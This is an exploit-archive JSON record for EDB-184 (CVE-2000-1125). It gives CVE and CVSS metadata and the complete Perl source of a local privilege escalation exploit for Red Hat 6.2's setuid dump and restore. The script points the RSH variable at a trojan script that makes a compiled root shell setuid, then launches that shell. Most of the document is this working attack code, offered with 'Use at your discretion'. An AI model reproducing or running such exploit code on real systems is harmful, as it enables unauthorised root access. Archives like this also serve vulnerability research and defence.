{"exploit":{"id":"EDB-184","name":"Red Hat 6.2 Restore and Dump - Local Privilege Escalation (LPE)","description":"Red Hat 6.2 Restore and Dump - Local Privilege Escalation (LPE)","cves":["CVE-2000-1125"],"author":"Tlabs","published":"2000-11-16","platform":"linux","type":"local","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/184","path":"exploits/linux/local/184.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-184.pl","vulnerabilities":[{"id":"CVE-2000-1125","state":"PUBLISHED","title":null,"titleSource":null,"description":"restore 0.4b15 and earlier in Red Hat Linux 6.2 trusts the pathname specified by the RSH environmental variable, which allows local users to obtain root privileges by modifying the RSH variable to point to a Trojan horse program.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2000-1125","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2000-1125"},"updatedAt":"2024-08-08T05:45:37.323Z","retrievedAt":"2026-11-26T12:07:00.572Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-184.png?v=2","url":"https://exploitbin.com/exploits/EDB-184","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-184/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-184/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n\n# perl exploit of restore and dump\n# redhat linux 6.2\n# written by tlabs\n# Use at your discretion\n\n$EXPORT1=\"TAPE=garbage:garbage\" ;\n$EXPORT2=\"RSH=./hey\" ;\n\nsub USAGE\n{\n  print \"$0 <type>\\n1=dump 2=dump.static 3=restore 4=restore.staic\\nYour choice innit;)\\nWritten by Tlabs\\n\" ;\n  exit 0 ;\n}\n\nsub ERROR\n{\n  print \"$_[0]\\n\" ;\n  exit 0 ;\n}\n\nopen(TEMP, \">shell.c\")|| ERROR(\"Something went wrong:$!\");\nprintf TEMP \"#include<unistd.h>\\n#include<stdlib.h>\\nint main()\\n{\" ;\nprintf TEMP \"    setuid(0);\\n\\tsetgid(0);\\n\\texecl(\\\"/bin/sh\\\",\\\"sh\\\",0);\\n\\treturn 0;\\n}\" ;\nclose(TEMP);\nsystem \"cc -o shell shell.c\" ;\nunlink \"shell.c\" ;\nopen(TEMP1, \">hey\")|| ERROR(\"Something went wrong: $!\");\nprintf TEMP1 \"#!/bin/sh\\nchown root shell\\nchmod 4755 shell\" ;\nclose(TEMP1);\nchmod(0755, \"hey\");\n\nif ($ARGV[$0] eq \"1\")\n{\n  $DUMPER=\"/sbin/dump\" ;\n  if ( -u \"$DUMPER\" )\n  {\n    system \"export $EXPORT1 ;export $EXPORT2 ; $DUMPER -0 \\/\" ;\n    sleep(3);\n    if ( -u \"shell\" )\n    {\n      unlink \"hey\" ;\n      system \"./shell\" ;\n    }\n    else\n    {\n      unlink \"hey\" ;\n      unlink \"shell\" ;\n      print \"Something fucked at the last, sorry\" ;\n    }\n   }\n   else\n   {\n     unlink \"hey\" ;\n     unlink \"shell\" ;\n     printf \"Dump is not exploitable on this system\\n\";\n   }\n}\nelsif ($ARGV[$0] eq \"2\")\n{\n  $DUMPER=\"/sbin/dump.static\" ;\n  if ( -u \"$DUMPER\" )\n  {\n    system \"export $EXPORT1 ;export $EXPORT2 ; $DUMPER -0 \\/\" ;\n    sleep(3);\n    if ( -u \"shell\" )\n    {\n      unlink \"hey\" ;\n      system \"./shell\" ;\n    }\n    else\n    {\n      unlink \"hey\" ;\n      unlink \"shell\" ;\n      print \"Something fucked at the last, sorry\" ;\n    }\n  }\n  else\n  {\n    unlink \"hey\" ;\n    unlink \"shell\" ;\n    printf \"Dump.static is not exploitable on this system\\n\";\n  }\n}\nelsif ($ARGV[$0] eq \"3\")\n{\n  $RESTORER=\"/sbin/restore\" ;\n  if ( -u \"$RESTORER\" )\n  {\n    system \"export $EXPORT1 ; export $EXPORT2 ; $RESTORER -i\" ;\n    sleep(3);\n    if ( -u \"shell\" )\n    {\n      unlink \"hey\" ;\n      system \"./shell\" ;\n    }\n    else\n    {\n      unlink \"hey\" ;\n      unlink \"shell\" ;\n      print \"Something fucked at the last, sorry\" ;\n    }\n  }\n  else\n  {\n    unlink \"hey\" ;\n    unlink \"shell\" ;\n    printf \"Restore is not exploitable on this system\\n\";\n  }\n}\nelsif ($ARGV[$0] eq \"4\")\n{\n  $RESTORER=\"/sbin/restore.static\" ;\n  if ( -u \"$RESTORER\" )\n  {\n    system \"export $EXPORT1 ; export $EXPORT2 ; $RESTORER -i\" ;\n    sleep(3);\n    if ( -u \"shell\" )\n    {\n      unlink \"hey\" ;\n      system \"./shell\" ;\n    }\n    else\n    {\n      unlink \"hey\" ;\n      unlink \"shell\" ;\n      print \"Something fucked at the last, sorry\" ;\n    }\n  }\n  else\n  {\n    unlink \"hey\" ;\n    unlink \"shell\" ;\n    printf \"Restore.static is not exploitable on this system\\n\";\n  }\n}\nelse\n{\n  USAGE ;\n}\n\n\n# milw0rm.com [2000-11-16]","sha256":"ea82888a51dc1ef4cbba74dc8bc119c751b264fc88b80067e88ad25cf55c6a06","bytes":2772,"fetchedAt":"2026-11-26T12:12:54.754Z","encoding":"utf-8 (display only; download retains original bytes)"}